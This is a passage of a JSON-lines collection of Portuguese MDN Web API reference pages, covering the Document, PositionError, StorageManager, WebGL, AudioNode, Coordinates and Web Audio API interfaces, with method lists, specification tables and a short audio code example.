Explorer, this method does nothing.\n\n`Document.close()`\n\nCloses a document stream for writing.\n\n`Document.execCommand(String command[, Boolean showUI[, String value]])`\n\nOn an editable document, executes a formating command.\n\n`Document.getElementsByName(String name)`\n\nReturns a list of elements with the given name.\n\n`Document.getSelection()`\n\nReturns a `Selection` object related to text selected in the document.\n\n`Document.hasFocus()`\n\nReturns `true` if the focus is currently located anywhere inside the specified document.\n\n`Document.open()` (en-US)\n\nOpens a document stream for writing.\n\n`Document.queryCommandEnabled(String command)` (en-US)\n\nReturns true if the formating command can be executed on the current range.\n\n`Document.queryCommandIndeterm(String command)`\n\nReturns true if the formating command is in an indeterminate state on the current range.\n\n`Document.queryCommandState(String command)` (en-US)\n\nReturns true if the formating command has been executed on the current range.\n\n`Document.queryCommandSupported(String command)` (en-US)\n\nReturns true if the formating command is supported on the current range.\n\n`Document.queryCommandValue(String command)`\n\nReturns the current value of the current range for a formatting command.\n\n`Document.registerElement(String tagname[, Object options])`\n\nRegisters a new custom element in the browser and returns a constructor for the new element.\n\n`Document.write(String text)`\n\nWrites text in a document.\n\n`Document.writeln(String text)`\n\nWrites a line of text in a document.\n\nSpecifications\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # interface-document |\n| HTML Standard # the-document-object |\n| CSSOM View Module # extensions-to-the-document-interface |\n| Pointer Lock 2.0 # extensions-to-the-document-interface |\n| Selection API # extensions-to-document-interface |\n\nCompatibilidade com navegadores\n-------------------------------\n\n### Firefox notes\n\nMozilla defines a set of non-standard properties made only for XUL content:\n\n`document.currentScript`\n\nReturns the `<script>` element that is currently executing.\n\n`document.documentURIObject`\n\n(**Mozilla add-ons only!**) Returns the `nsIURI` object representing the URI of the document. This property only has special meaning in privileged JavaScript code (with UniversalXPConnect privileges).\n\n`document.popupNode`\n\nReturns the node upon which a popup was invoked.\n\n`document.tooltipNode`\n\nReturns the node which is the target of the current tooltip.\n\nMozilla also define some non-standard methods:\n\n`Document.execCommandShowHelp`\n\nThis method never did anything and always threw an exception, so it was removed in Gecko 14.0.\n\n`Document.getBoxObjectFor` (en-US)\n\nUse the `Element.getBoundingClientRect()` method instead.\n\n`Document.loadOverlay`\n\nLoads a XUL overlay dynamically. This only works in XUL documents.\n\n`document.queryCommandText`\n\nThis method never did anything but throw an exception, and was removed in Gecko 14.0.\n\n### Internet Explorer notes\n\nMicrosoft defines some non-standard properties:\n\n`document.fileSize`\\* \nNon-standard\n\nReturns size in bytes of the document. Starting with Internet Explorer 11, that property is no longer supported. See MSDN.Internet Explorer does not support all methods from the `Node` interface in the `Document` interface\n\n`document.contains`\n\nAs a work-around, `document.body.contains()` can be used."}
{"title":"PositionError - APIs da Web","text":"PositionError\n=============\n\nA interface **`PositionError`** representa a rasão de um erro ocorrer quando usando o dispositivo de geolocalização.\n\nPropriedades\n------------\n\n*A interface `PositionError` não herda nenhuma propriedade*.\n\n`PositionError.code` (en-US) Somente leitura \n\nRetorna um tipo `unsigned short` representando o código de erro. Os valores possíveis são os seguintes:\n\n| Valor | Constante associada | Descrição |\n| --- | --- | --- |\n| `1` | `PERMISSION_DENIED` | Não foi possível obter a informação sobre geolocalização por que a página não possuía permissão para fazê-lo. |\n| `2` | `POSITION_UNAVAILABLE` | A obtenção da geolocalização falhou por que pelo menos uma fonte interna de posicionamento retornou um erro interno. |\n| `3` | `TIMEOUT` | O tempo máximo permitido para obter a geolocalização, definido por `PositionOptions.timeout` (en-US) foi atingido antes de se obter a informação. |\n\n`PositionError.message` (en-US) Somente leitura \n\nRetorna um `DOMString` humanamente legível descrevendo os detalhes do erro. A especificação observa que esta informação é primariamente projetada para propósitos de debug e não deve ser exibida diretamente na interface com o usuário.\n\nMétodos\n-------\n\n**A interface `PositionError` não implementa nem herda qualquer método*.*\\*\\*\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Geolocation API # position\\_error\\_interface |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Usando geolocation (en-US)\n* A interface `Geolocation` que o utiliza."}
{"title":"StorageManager - APIs da Web","text":"StorageManager\n==============\n\n**Secure context:** This feature is available only in secure contexts (en-US) (HTTPS), in some or all supporting browsers.\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\n**`StorageManager`** é uma inteface da Storage API (en-US) que fornece uma interface para controlar as permissões de gravações e estima o espaço disponível. Você pode obter a referência desta interface usando `navigator.storage` (en-US) ou `WorkerNavigator.storage` (en-US).\n\nMétodos\n-------\n\n`StorageManager.estimate()` (en-US) Secure context\n\nRetorna um objeto `StorageEstimate` (en-US) contendo números de uso e cota para sua origem.\n\n`StorageManager.persist()` (en-US) Secure context\n\nRetorna uma `Promise` que resolve como `true` se o agente de usuário for capaz de gravar o armazenamento do seu site.\n\n`StorageManager.persisted()` (en-US) Secure context\n\nRetorna uma `Promise` que resolve como `true` se alguma gravação já foi concedida para o armazenamento do seu site.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Storage Standard # storagemanager |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"WebGL - APIs da Web","text":"WebGL\n=====\n\nWebGL (Web Graphics Library) é uma API do JavaScript para renderizar gráficos 3D e 2D dentro de um navegador web compatível sem o uso de plug-ins. O WebGL faz isso introduzindo uma API que está de acordo com o OpenGL ES 2.0 e que pode ser usada em elementos do HTML5 `<canvas>`.\n\nO suporte para WebGL está presente no Firefox 4+, Google Chrome 9+, Opera 12+, Safari 5.1+ e Internet Explorer 11+. No entanto, o dispositivo do usuário também deve ter um hardware que suporte esses recursos.\n\nO elemento `<canvas>` é também usado pelo Canvas 2D para renderizar gráficos 2D em páginas web.\n\nReferências\n-----------\n\n### Interfaces padrão\n\n* `WebGLRenderingContext` (en-US)\n* `WebGL2RenderingContext` (en-US) \nExperimental\n* `WebGLActiveInfo` (en-US)\n* `WebGLBuffer` (en-US)\n* `WebGLContextEvent` (en-US)\n* `WebGLFramebuffer` (en-US)\n* `WebGLProgram` (en-US)\n* `WebGLQuery` (en-US) \nExperimental\n* `WebGLRenderbuffer` (en-US)\n* `WebGLSampler` (en-US) \nExperimental\n* `WebGLShader` (en-US)\n* `WebGLShaderPrecisionFormat` (en-US)\n* `WebGLSync` (en-US) \nExperimental\n* `WebGLTexture` (en-US)\n* `WebGLTransformFeedback` (en-US) \nExperimental\n* `WebGLUniformLocation` (en-US)\n* `WebGLVertexArrayObject` (en-US) \nExperimental\n### Extensões\n\n* `ANGLE_instanced_arrays`\n* `EXT_blend_minmax` (en-US)\n* `EXT_color_buffer_float` (en-US)\n* `EXT_color_buffer_half_float` (en-US)\n* `EXT_disjoint_timer_query` (en-US)\n* `EXT_frag_depth` (en-US)\n* `EXT_sRGB` (en-US)\n* `EXT_shader_texture_lod` (en-US)\n* `EXT_texture_filter_anisotropic` (en-US)\n* `OES_element_index_uint` (en-US)\n* `OES_standard_derivatives` (en-US)\n* `OES_texture_float` (en-US)\n* `OES_texture_float_linear` (en-US)\n* `OES_texture_half_float` (en-US)\n* `OES_texture_half_float_linear` (en-US)\n* `OES_vertex_array_object` (en-US)\n* `WEBGL_color_buffer_float` (en-US)\n* `WEBGL_compressed_texture_astc` (en-US)\n* `WEBGL_compressed_texture_atc`\n* `WEBGL_compressed_texture_etc` (en-US)\n* `WEBGL_compressed_texture_etc1` (en-US)\n* `WEBGL_compressed_texture_pvrtc` (en-US)\n* `WEBGL_compressed_texture_s3tc` (en-US)\n* `WEBGL_compressed_texture_s3tc_srgb` (en-US)\n* `WEBGL_debug_renderer_info` (en-US)\n* `WEBGL_debug_shaders` (en-US)\n* `WEBGL_depth_texture` (en-US)\n* `WEBGL_draw_buffers` (en-US)\n* `WEBGL_lose_context` (en-US)\n### Eventos\n\n* `webglcontextlost`\n* `webglcontextrestored`\n* `webglcontextcreationerror`\n### Constantes e tipos\n\n* Constantes em WebGL (en-US)\n* Tipos em WebGL (en-US)\n### WebGL 2\n\nO WebGL 2 é uma atualização importante para o WebGL, que é fornecida através da interface `WebGL2RenderingContext` (en-US). Baseia-se no OpenGL ES 3.0 e os novos recursos incluem:\n\n* Texturas 3D (en-US)\n* Objetos Sampler (en-US)\n* Objetos Uniform Buffer (en-US)\n* Objetos Sync (en-US)\n* Objetos Query (en-US)\n* Objetos Transform Feedback (en-US)\n* Extensões que agora fazem parte da especificação principal do WebGL 2: Objetos Vertex Array (en-US), instanciação (en-US), múltiplas metas de renderização (en-US), profundidade de fragmentos (en-US).\n\nVeja também os posts WebGL 2 lands in Firefox e webglsamples.org/WebGL2Samples para alguns exemplos de demonstração.\n\nGuias e tutoriais\n-----------------\n\n* Tutorial WebGL (en-US): Um guia para iniciantes nos conceitos principais do WebGL. Um bom lugar para iniciar se você não tem experiência prévia em WebGL.\n* Melhores práticas em WebGL (en-US): Dicas e sugestões para melhorar seu conteúdo WebGL.\n* Usando extensões (en-US): Como usar as extensões disponíveis em WebGL.\n### Tutoriais avançados\n\n* Modelo, visualização e projeção em WebGL (en-US): Uma explicação detalhada das três matrizes principais tipicamente usadas para representar uma visualização em 3D de um objeto: as matrizes de modelo, de visualização e de projeção.\n* Matemática matricial para a web (en-US): Um guia útil sobre como matrizes de transformação 3D funcionam e como podem ser usadas na web — tanto para cálculos em WebGL quanto para transformações em CSS3.\nRecursos\n--------\n\n* WebGL puro: Uma introdução ao WebGL Uma conversa com Nick Desaulniers que introduz o básico de WebGL. Este é um ótimo lugar para iniciar se você nunca trabalhou com programação de baixo nível para gráficos.\n* Site WebGL do Khronos O site principal para WebGL do Grupo Khronos.\n* Aprendendo WebGL Um site com tutoriais de uso do WebGL.\n* Fundamentos de WebGL Um tutorial básico com os fundamentos do WebGL.\n* Playground do WebGL Uma ferramenta online para criar e compartilhar projetos em WebGL. Boa para protótipos rápidos e experimentação.\n* Academia WebGL Um editor HTML/JavaScript com tutoriais para aprender o básico de programação em WebGL.\n* WebGL Stats Um site com estatísticas sobre as funcionalidades do WebGL em navegadores de diferentes plataformas.\n### Bibliotecas\n\n* glMatrix Biblioteca em JavaScript de Matrizes e Vetores para aplicações WebGL de Alta Performance.\n* PhiloGL é um WebGL *framework* para Visualização de Dados, Código Criativo, e Desenvolvimento de Jogos.\n* Pixi.js é um renderizador gráfico 2D, rápido e com código aberto, que utiliza WebGL.\n* PlayCanvas motor de jogos com código aberto.\n* Sylvester Uma biblioteca de código aberto para manipular vetores e matrizes. Não é otimizada para WebGL mas é extremamente robusta.\n* three.js é uma biblioteca WebGL 3D com recursos completos de código aberto.\n* Phaser é um *framework* rápido de código aberto, gratuita e divertida para jogos em navegadores baseados em Canvas e WebGL.\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| WebGL Specification # 5.14 |\n| WebGL 2.0 Specification # 3.7 |\n\nCompatibilidade com navegadores\n-------------------------------\n\n### api.WebGLRenderingContext\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### api.WebGL2RenderingContext\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Canvas\n* Informações de compatibilidade para extensões WebGL (en-US)"}
{"title":"AudioNode - APIs da Web","text":"AudioNode\n=========\n\nA interface AudioNode é uma interface genérica para representar um módulo de processamento como uma fonte de áudio (ex. um elemento HTML `<audio>` ou `<video>` , um `OscillatorNode` (en-US), etc.), um destino do áudio, um módulo intermediário de processamento (ex. um filtro como `BiquadFilterNode` ou `ConvolverNode` (en-US)), ou um controle de volume (como o `GainNode` (en-US)).\n\n![AudioNodes participating in an AudioContext create a audio routing graph.](/pt-BR/docs/Web/API/AudioNode/webaudiobasicspt-br.png)\n\nUm `AudioNode` tem entradas (inputs) e saídas (outputs), cada uma delas com uma determinada quantidade de canais. Um `AudioNode` sem nenhuma entrada e uma ou múltiplas saídas é chamado de *source node*. The exact processing done varies from one `AudioNode` to another but, in general, a node reads its inputs, does some audio-related processing, and generates new values for its outputs, or simply lets the audio pass through (for example in the `AnalyserNode` (en-US), where the result of the processing is accessed separately).\n\nDifferent nodes can be linked together to build a *processing graph*. Such a graph is contained in an `AudioContext`. Each `AudioNode` participates in exactly one such context. In general, processing nodes inherit the properties and methods of `AudioNode`, but also define their own functionality on top. See the individual node pages for more details, as listed on the Web Audio API homepage.\n\n**Nota:** An `AudioNode` can be target of events, therefore it implements the `EventTarget` interface.\n\nProperties\n----------\n\n`AudioNode.context` (en-US) Somente leitura \n\nReturns the associated `AudioContext`, that is the object representing the processing graph the node is participating in.\n\n`AudioNode.numberOfInputs` (en-US) Somente leitura \n\nReturns the number of inputs feeding the node. Source nodes are defined as nodes having a `numberOfInputs` property with a value of `0`.\n\n`AudioNode.numberOfOutputs` (en-US) Somente leitura \n\nReturns the number of outputs coming out of the node. Destination nodes — like `AudioDestinationNode` (en-US) — have a value of `0` for this attribute.\n\n`AudioNode.channelCount` (en-US)\n\nRepresents an integer used to determine how many channels are used when up-mixing and down-mixing (en-US) connections to any inputs to the node. Its usage and precise definition depend on the value of `AudioNode.channelCountMode` (en-US).\n\n`AudioNode.channelCountMode` (en-US)\n\nRepresents an enumerated value describing the way channels must be matched between the node's inputs and outputs.\n\n`AudioNode.channelInterpretation` (en-US)\n\n Represents an enumerated value describing the meaning of the channels. This interpretation will define how audio up-mixing and down-mixing (en-US) will happen.\n The possible values are `\"speakers\"` or `\"discrete\"`.\n\n\nMethods\n-------\n\n*Also implements methods from the interface* `EventTarget`.\n\n`AudioNode.connect(AudioNode)` (en-US)\n\nAllows us to connect one output of this node to one input of another node.\n\n`AudioNode.connect(AudioParam)`\n\nAllows us to connect one output of this node to one input of an audio parameter.\n\n`AudioNode.disconnect()` (en-US)\n\nAllows us to disconnect the current node from another one it is already connected to.\n\nExample\n-------\n\nThis simple snippet of code shows the creation of some audio nodes, and how the `AudioNode` properties and methods can be used. You can find examples of such usage on any of the examples linked to on the Web Audio API landing page (for example Violent Theremin.)\n\n\n```js\nvar AudioContext = window.AudioContext || window.webkitAudioContext;\n\nvar audioCtx = new AudioContext();\n\nvar oscillator = audioCtx.createOscillator();\nvar gainNode = audioCtx.createGain();\n\noscillator.connect(gainNode);\ngainNode.connect(audioCtx.destination);\n\noscillator.context;\noscillator.numberOfInputs;\noscillator.numberOfOutputs;\noscillator.channelCount;\n```\n\nSpecifications\n--------------\n\n| Specification |\n| --- |\n| Web Audio API # AudioNode |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* Using the Web Audio API (en-US)"}
{"title":"Coordinates - APIs da Web","text":"Coordinates\n===========\n\n**Secure context:** This feature is available only in secure contexts (en-US) (HTTPS), in some or all supporting browsers.\n\nO **`Coordinates`** iinterface representa a posição e a altitude do dispositivo na Terra, bem como a precisão com que essas propriedades são calculadas.\n\nPropriedades\n------------\n\n*A interface do `Coordinates` não herda nenhuma propiedade*.\n\n`Coordinates.latitude` (en-US) Somente leitura  Secure context\n\nRetorna um `double` representando a latitude da posição em graus decimais.\n\n`Coordinates.longitude` (en-US) Somente leitura  Secure context\n\nRetorna um `double` representando a longitude da posição em graus decimais.\n\n`Coordinates.altitude` Somente leitura  Secure context\n\nRetorna um `double` representando a altitude da posição em metros, em relação ao nível do mar. Esse valor pode ser `null` se a implementação não puder fornecer os dados.\n\n`Coordinates.accuracy` (en-US) Somente leitura  Secure context\n\nRetorna um `double` representação da precisão das propriedades em `latitude` e `longitude`, expressa em metros.\n\n`Coordinates.altitudeAccuracy` (en-US) Somente leitura  Secure context\n\nRetorna um `double` representação da precisão da `altitude` expressa em metros. Esse valor pode ser `null`.\n\n`Coordinates.heading` (en-US) Somente leitura  Secure context\n\nRetorna um `double` representação da direção na qual o dispositivo está viajando. Esse valor, especificado em graus, indica o quão longe do título verdadeiro do norte do dispositivo. `0` representam o verdadeiro norte e a direção é determinada no sentido horário (o que significa que o leste é `90`graus e oeste é `270`graus). Se `speed`é `0`, `heading`é `NaN` (en-US). Se o dispositivo não conseguir fornecer `heading`informações, esse valor é `null`.\n\n`Coordinates.speed` (en-US) Somente leitura  Secure context\n\nRetorna um `double`representação da velocidade do dispositivo em metros por segundo. Esse valor pode ser `null`.\n\nMétodos\n-------\n\n**A interface da `Coordinates` *não implementa, nem herda nenhum método.***\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Geolocation API # coordinates\\_interface |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Usando geolocalização\n* O `Geolocation` e a interface que o usa."}
{"title":"API Web Áudio - APIs da Web","text":"API Web Áudio\n=============\n\nA API de áudio da Web fornece um sistema poderoso e versátil para controlar o áudio na Web, permitindo que os desenvolvedores escolham fontes de áudio, adicionem efeitos ao áudio, criem visualizações de áudio, apliquem efeitos espaciais (como panorâmica) e muito mais.\n\nConceitos e uso de áudio da Web\n-------------------------------\n\nA API de áudio da Web envolve a manipulação de operações de áudio dentro de um **contexto de áudio** e foi projetada para permitir o **roteamento modular**. As operações básicas de áudio são realizadas com **nós de áudio**, que são vinculados para formar um **gráfico de roteamento de áudio**. Várias fontes — com diferentes tipos de layout de canal — são suportadas mesmo dentro de um único contexto. Este design modular oferece flexibilidade para criar funções de áudio complexas com efeitos dinâmicos.\n\nOs nós de áudio são ligados em cadeias e teias simples por suas entradas e saídas. Eles geralmente começam com uma ou mais fontes. As fontes fornecem matrizes de intensidades sonoras (amostras) em fatias de tempo muito pequenas, geralmente dezenas de milhares delas por segundo. Estes podem ser calculados matematicamente (como `OscillatorNode` (en-US)), ou podem ser gravações de arquivos de som/vídeo (como `AudioBufferSourceNode` (en-US) e `MediaElementAudioSourceNode` ) e fluxos de áudio (`MediaStreamAudioSourceNode` (en-US)). Na verdade, os arquivos de som são apenas gravações das próprias intensidades sonoras, que vêm de microfones ou instrumentos elétricos e são misturadas em uma única e complicada onda.\n\nAs saídas desses nós podem ser vinculadas às entradas de outros, que misturam ou modificam esses fluxos de amostras de som em diferentes fluxos. Uma modificação comum é multiplicar as amostras por um valor para torná-las mais altas ou mais baixas (como é o caso de `GainNode` (en-US)). Uma vez que o som tenha sido suficientemente processado para o efeito pretendido, ele pode ser vinculado à entrada de um destino (`BaseAudioContext.destination` (en-US)), que envia o som para os alto-falantes ou fones de ouvido. Esta última conexão só é necessária se o usuário tiver que ouvir o áudio.\n\nUm fluxo de trabalho simples e típico para áudio da web seria algo assim:\n\n1. Criar contexto de áudio\n2. Dentro do contexto, crie fontes — como `<áudio>`, oscilador, fluxo\n3. Crie nós de efeitos, como reverb, filtro biquad, panner, compressor\n4. Escolha o destino final do áudio, por exemplo, os alto-falantes do sistema\n5. Conecte as fontes aos efeitos e os efeitos ao destino.\n\n![Um diagrama de caixa simples com uma caixa externa denominada Contexto de áudio e três caixas internas denominadas Fontes, Efeitos e Destino. As três caixas internas têm setas entre elas apontando da esquerda para a direita, indicando o fluxo de informações de áudio.](/pt-BR/docs/Web/API/Web_Audio_API/audio-context_.png)\n\nO tempo é controlado com alta precisão e baixa latência, permitindo que os desenvolvedores escrevam código que responda com precisão a eventos e seja capaz de direcionar amostras específicas, mesmo em uma alta taxa de amostragem. Assim, aplicações como baterias eletrônicas e sequenciadores estão bem ao alcance.\n\nA API de áudio da Web também nos permite controlar como o áudio é *espacializado*. Utilizando um sistema baseado em um *modelo de ouvinte-fonte*, permite o controle do *modelo panorâmico* e trata da *atenuação induzida por distância* induzida por uma fonte em movimento (ou ouvinte em movimento).\n\nvocê pode ler sobre a teoria da API de áudio da Web com muito mais detalhes em nosso artigo Conceitos básicos por trás da API de áudio da Web (en-US) .\n\nPúblico-alvo da API de áudio da Web\n-----------------------------------\n\nA API de áudio da Web pode parecer intimidante para aqueles que não estão familiarizados com termos de áudio ou música e, como incorpora uma grande quantidade de funcionalidades, pode ser difícil começar se você for um desenvolvedor.\n\nEle pode ser usado para incorporar áudio em seu site ou aplicativo, fornecendo uma atmosfera como futurelibrary.no ou feedback auditivo em formulários. No entanto, também pode ser usado para criar instrumentos interativos *avançados*. Com isso em mente, é adequado tanto para desenvolvedores quanto para músicos.\n\nTemos um tutorial introdutório simples (en-US) para aqueles que estão familiarizados com programação, mas precisam de uma boa introdução a alguns dos termos e estrutura da API.\n\nHá também um artigo Conceitos básicos por trás da API de áudio da Web (en-US), para ajudá-lo a entender como o áudio digital funciona, especificamente no domínio da API. Isso também inclui uma boa introdução a alguns dos conceitos sobre os quais a API é construída.\n\nAprender a codificar é como jogar cartas - você aprende as regras, depois joga, depois volta e aprende as regras novamente, depois joga novamente. Portanto, se parte da teoria não se encaixar bem após o primeiro tutorial e artigo, há um tutorial avançado (en-US) que estende o primeiro para ajudá-lo a praticar o que você aprendeu e aplicar algumas técnicas mais avançadas para construir um sequenciador de passos.\n\nTambém temos outros tutoriais e material de referência abrangente disponível que abrange todos os recursos da API. Veja a barra lateral nesta página para saber mais.\n\nSe você está mais familiarizado com o lado musical das coisas, está familiarizado com os conceitos de teoria musical, quer começar a construir instrumentos, então você pode ir em frente e começar a construir coisas com o tutorial avançado e outros como um guia (o tutorial linkado acima cobre agendando notas, criando osciladores e envelopes sob medida, bem como um LFO entre outras coisas.)\n\nSe você não estiver familiarizado com o básico de programação, você pode querer consultar alguns tutoriais JavaScript para iniciantes e depois voltar aqui - veja nosso módulo de aprendizado JavaScript para iniciantes para um ótimo lugar para começar.\n\nInterfaces da API de áudio da Web\n---------------------------------\n\nA API de áudio da Web tem várias interfaces e eventos associados, que dividimos em nove categorias de funcionalidade.\n\n### Definição geral do gráfico de áudio\n\nContêineres e definições gerais que moldam gráficos de áudio no uso da API de áudio da Web.\n\n`AudioContext`\n\nA interface **`AudioContext`** representa um gráfico de processamento de áudio construído a partir de módulos de áudio ligados entre si, cada um representado por um `AudioNode`. Um contexto de áudio controla a criação dos nós que ele contém e a execução do processamento ou decodificação de áudio. Você precisa criar um `AudioContext` antes de fazer qualquer outra coisa, pois tudo acontece dentro de um contexto.\n\n`AudioNode`\n\nA interface **`AudioNode`** representa um módulo de processamento de áudio como uma *fonte de áudio* (por exemplo, um elemento HTML `<audio>` ou `<video>`), *audio destino*, *módulo de processamento intermediário* (por exemplo, um filtro como `BiquadFilterNode` ou *controle de volume* como `GainNode` (en-US)).\n\n`AudioParam` (en-US)\n\nA interface **`AudioParam`** representa um parâmetro relacionado ao áudio, como um de um `AudioNode`. Ele pode ser definido para um valor específico ou uma alteração no valor e pode ser programado para ocorrer em um horário específico e seguindo um padrão específico.\n\n`AudioParamMap` (en-US)\n\nFornece uma interface tipo mapa para um grupo de interfaces `AudioParam` (en-US), o que significa que fornece os métodos `forEach()`, `get()`, `has()`, `keys ()` e `values()`, bem como uma propriedade `size`.\n\n`BaseAudioContext` (en-US)\n\nA interface **`BaseAudioContext`** atua como uma definição básica para gráficos de processamento de áudio online e offline, conforme representado por `AudioContext` e `OfflineAudioContext` respectivamente . Você não usaria `BaseAudioContext` diretamente — você usaria seus recursos por meio de uma dessas duas interfaces herdadas.\n\nO evento `ended` (en-US)\n\nO evento `ended` é acionado quando a reprodução é interrompida porque o fim da mídia foi atingido.\n\n### Definindo fontes de áudio\n\nInterfaces que definem fontes de áudio para uso na API de áudio da Web.\n\n`AudioScheduledSourceNode` (en-US)\n\nO **`AudioScheduledSourceNode`** é uma interface pai para vários tipos de interfaces de nó de fonte de áudio. É um `AudioNode`.\n\n`OscillatorNode` (en-US)\n\nA interface **`OscillatorNode`** representa uma forma de onda periódica, como uma onda senoidal ou triangular. É um módulo de processamento de áudio `AudioNode` que faz com que uma determinada *frequência* de onda seja criada.\n\n`AudioBuffer` (en-US)\n\nA interface **`AudioBuffer`** representa um pequeno recurso de áudio que reside na memória, criado a partir de um arquivo de áudio usando o método `BaseAudioContext.decodeAudioData` (en-US) ou criado com dados brutos usando `BaseAudioContext.createBuffer` (en-US). Uma vez decodificado neste formato, o áudio pode ser colocado em um `AudioBufferSourceNode` (en-US).\n\n`AudioBufferSourceNode` (en-US)\n\nA interface **`AudioBufferSourceNode`** representa uma fonte de áudio que consiste em dados de áudio na memória, armazenados em um `AudioBuffer` (en-US). É um `AudioNode` que atua como uma fonte de áudio.\n\n`MediaElementAudioSourceNode` (en-US)\n\nA interface **`MediaElementAudioSourceNode`** representa uma fonte de áudio que consiste em um elemento HTML `<audio>` ou `<video>`. É um `AudioNode` que atua como uma fonte de áudio.\n\n`MediaStreamAudioSourceNode` (en-US)\n\nA interface **`MediaStreamAudioSourceNode`** representa uma fonte de áudio que consiste em um `MediaStream` (en-US) (como uma webcam, microfone ou um fluxo sendo enviado de um computador remoto). Se várias faixas de áudio estiverem presentes no fluxo, a faixa cujo `id` (en-US) vem primeiro lexicograficamente (em ordem alfabética) é usada. É um `AudioNode` que atua como uma fonte de áudio.\n\n`MediaStreamTrackAudioSourceNode` (en-US)\n\nUm aceno de cabeça e do tipo `MediaStreamTrackAudioSourceNode` (en-US) representa uma fonte de áudio cujos dados vêm de um `MediaStreamTrack` (en-US). Ao criar o nó usando o método `createMediaStreamTrackSource()` (en-US) para criar o nó, você especifica qual faixa usar. Isso fornece mais controle do que `MediaStreamAudioSourceNode`.\n\n### Definindo filtros de efeitos de áudio\n\nInterfaces para definir os efeitos que você deseja aplicar às suas fontes de áudio.\n\n`BiquadFilterNode`\n\nA interface **`BiquadFilterNode`** representa um filtro simples de baixa ordem. É um `AudioNode` que pode representar diferentes tipos de filtros, dispositivos de controle de tom ou equalizadores gráficos. Um `BiquadFilterNode` sempre tem exatamente uma entrada e uma saída.\n\n`ConvolverNode` (en-US)\n\nA interface **`ConvolverNode`** é um `AudioNode` que executa uma Convolução Linear em um determinado `AudioBuffer` (en-US) e é frequentemente usado para obter um reverb efeito.\n\n`DelayNode` (en-US)\n\nA interface **`DelayNode`** representa uma linha de atraso; um módulo de processamento de áudio `AudioNode` que causa um atraso entre a chegada de um dado de entrada e sua propagação para a saída.\n\n`DynamicsCompressorNode` (en-US)\n\nA interface **`DynamicsCompressorNode`** fornece um efeito de compressão, que reduz o volume das partes mais altas do sinal para ajudar a evitar cortes e distorções que podem ocorrer quando vários sons são reproduzidos e multiplexados ao mesmo tempo.\n\n`GainNode` (en-US)\n\nA interface **`GainNode`** representa uma mudança no volume. É um módulo de processamento de áudio `AudioNode` que faz com que um determinado *gain* seja aplicado aos dados de entrada antes de sua propagação para a saída.\n\n`WaveShaperNode` (en-US)\n\nA interface **`WaveShaperNode`** representa um distorção não linear. É um `AudioNode` que usa uma curva para aplicar uma distorção de forma de onda ao sinal. Além dos efeitos de distorção óbvios, é frequentemente usado para adicionar uma sensação de calor ao sinal.\n\n`PeriodicWave` (en-US)\n\nDescreve uma forma de onda periódica que pode ser usada para moldar a saída de um `OscillatorNode` (en-US).\n\n`IIRFilterNode` (en-US)\n\nImplementa um filtro geral de resposta ao impulso infinito (IIR); este tipo de filtro pode ser usado para implementar dispositivos de controle de tom e equalizadores gráficos também.\n\n### Definindo destinos de áudio\n\nAssim que você terminar de processar seu áudio, essas interfaces definem onde ele deve ser emitido.\n\n`AudioDestinationNode` (en-US)\n\nA interface **`AudioDestinationNode`** representa o destino final de uma fonte de áudio em um determinado contexto — geralmente os alto-falantes do seu dispositivo.\n\n`MediaStreamAudioDestinationNode` (en-US)\n\nA interface **`MediaStreamAudioDestinationNode`** representa um destino de áudio que consiste em um WebRTC `MediaStream` (en-US) com um único `AudioMediaStreamTrack`, que pode ser usado de maneira semelhante a um `MediaStream` (en-US) obtido de `getUserMedia()` (en-US). É um `AudioNode` que atua como destino de áudio.\n\n### Análise e visualização de dados\n\nSe você deseja extrair tempo, frequência e outros dados do seu áudio, o `AnalyserNode` é o que você precisa.\n\n`AnalyserNode` (en-US)\n\nA interface **`AnalyserNode`** representa um nó capaz de fornecer informações de análise de frequência e domínio de tempo em tempo real, para fins de análise e visualização de dados.\n\n### Dividindo e mesclando canais de áudio\n\nPara dividir e mesclar canais de áudio, você usará essas interfaces.\n\n`ChannelSplitterNode` (en-US)\n\nA interface **`ChannelSplitterNode`** separa os diferentes canais de uma fonte de áudio em um conjunto de saídas *mono*.\n\n`ChannelMergerNode` (en-US)\n\nA interface **`ChannelMergerNode`** reúne diferentes entradas mono em uma única saída. Cada entrada será usada para preencher um canal da saída.\n\n### Espacialização de áudio\n\nEssas interfaces permitem adicionar efeitos panorâmicos de espacialização de áudio às suas fontes de áudio.\n\n`AudioListener` (en-US)\n\nA interface **`AudioListener`** representa a posição e orientação da única pessoa que está ouvindo a cena de áudio usada na espacialização de áudio.\n\n`PannerNode` (en-US)\n\nA interface **`PannerNode`** representa a posição e o comportamento de um sinal de fonte de áudio no espaço 3D, permitindo criar efeitos de panorâmica complexos.\n\n`StereoPannerNode` (en-US)\n\nA interface **`StereoPannerNode`** representa um simples nó panorâmico estéreo que pode ser usado para deslocar um fluxo de áudio para a esquerda ou para a direita.\n\n### Processamento de áudio em JavaScript\n\nUsando worklets de áudio, você pode definir nós de áudio personalizados escritos em JavaScript ou WebAssembly. Worklets de áudio implementam a interface `Worklet` (en-US), uma versão leve da interface `Worker`.\n\n`AudioWorklet` (en-US)\n\nA interface `AudioWorklet` está disponível através do objeto `AudioContext` do objeto `audioWorklet` (en-US) e permite adicionar módulos ao worklet de áudio a ser executado fora do thread principal.\n\n`AudioWorkletNode` (en-US)\n\nA interface `AudioWorkletNode` representa um `AudioNode` que está embutido em um gráfico de áudio e pode passar mensagens para o `AudioWorkletProcessor` 